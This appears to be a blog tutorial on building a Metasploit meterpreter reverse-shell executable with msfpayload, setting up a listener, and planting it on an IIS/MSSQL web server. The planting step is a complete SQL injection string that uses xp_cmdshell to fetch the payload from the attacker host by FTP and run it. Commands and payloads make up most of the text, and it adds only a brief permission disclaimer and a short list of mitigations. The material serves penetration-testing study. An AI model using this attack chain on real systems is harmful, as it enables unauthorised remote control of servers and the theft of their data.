Creating and using a binary Metasploit meterpreter payload

Metasploit has a very modular design, which allows you to generate various exploits and payloads in a variety of formats. Here we will discuss creating a meterpreter reverse-shell windows executable, which could be added to a victim machine, and show how it could be used.

Only use these techniques on your own test network, or where you have express permission. Remember it is your Karma, and see the mitigations for these threats at the bottom of this article

This will be a limited useage payload, as you need to specify the IP address and port that the victim machine will connect back to, when you generate the payload, so this is situation-specific.

Imagine we have a webserver, which is running IIS and MSSQL, which has a login page that is vulnerable to SQL injection. We are going to use this vulnerability to upload and run a meterpreter payload, using FTP, and connect back to our attacking machine on port 80 to give us remote access.

Our attacking machine is at 192.168.1.40

To generate the windows executeable meterpreter payload; From the framework3 directory:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.40 LPORT=80 X > /var/ftp/met.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/meterpreter/reverse_tcp

Length: 290

Options: LHOST=192.168.1.40,LPORT=80

As you can see, this is quite small, but will connect back to our attacking machine to download the rest of the functionality. We need to setup a handler on our attacking machine for this purpose.

Go into the Metasploit console and run the following commands:

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.40

set LPORT 80

show options

exploit

Now we need to get our payload to our victim machine, which we will do using an FTP transfer, with the following SQL injection exploit in the websites login dialogue box:

' or 1=1;exec master..xp_cmdshell 'echo open 192.168.1.40> ftpmet.txt';exec master..xp_cmdshell 'echo anonymous>> ftpmet.txt';exec master..xp_cmdshell 'echo met@met.com>> ftpmet.txt';exec master..xp_cmdshell 'echo bin>> ftpmet.txt';exec master..xp_cmdshell 'echo get met.exe>> ftpmet.txt';exec master..xp_cmdshell 'echo bye';exec master..xp_cmdshell 'ftp -s:ftpmet.txt';exec master..xp_cmdshell 'met.exe';--

The victim connects back, and there we have our reverse shell with system-level access (in this case). This gives us administrative control over the remote Webserver and we can do with it whatever we like!

I can think of several mitigations for these threats off the top of my head:
Proper input validation in the login page
Restricted outbound ports on the firewall
Content security with exe detection
Intrusion Detection/Prevention Systems IDS/IPS
Running IIS with a restricted account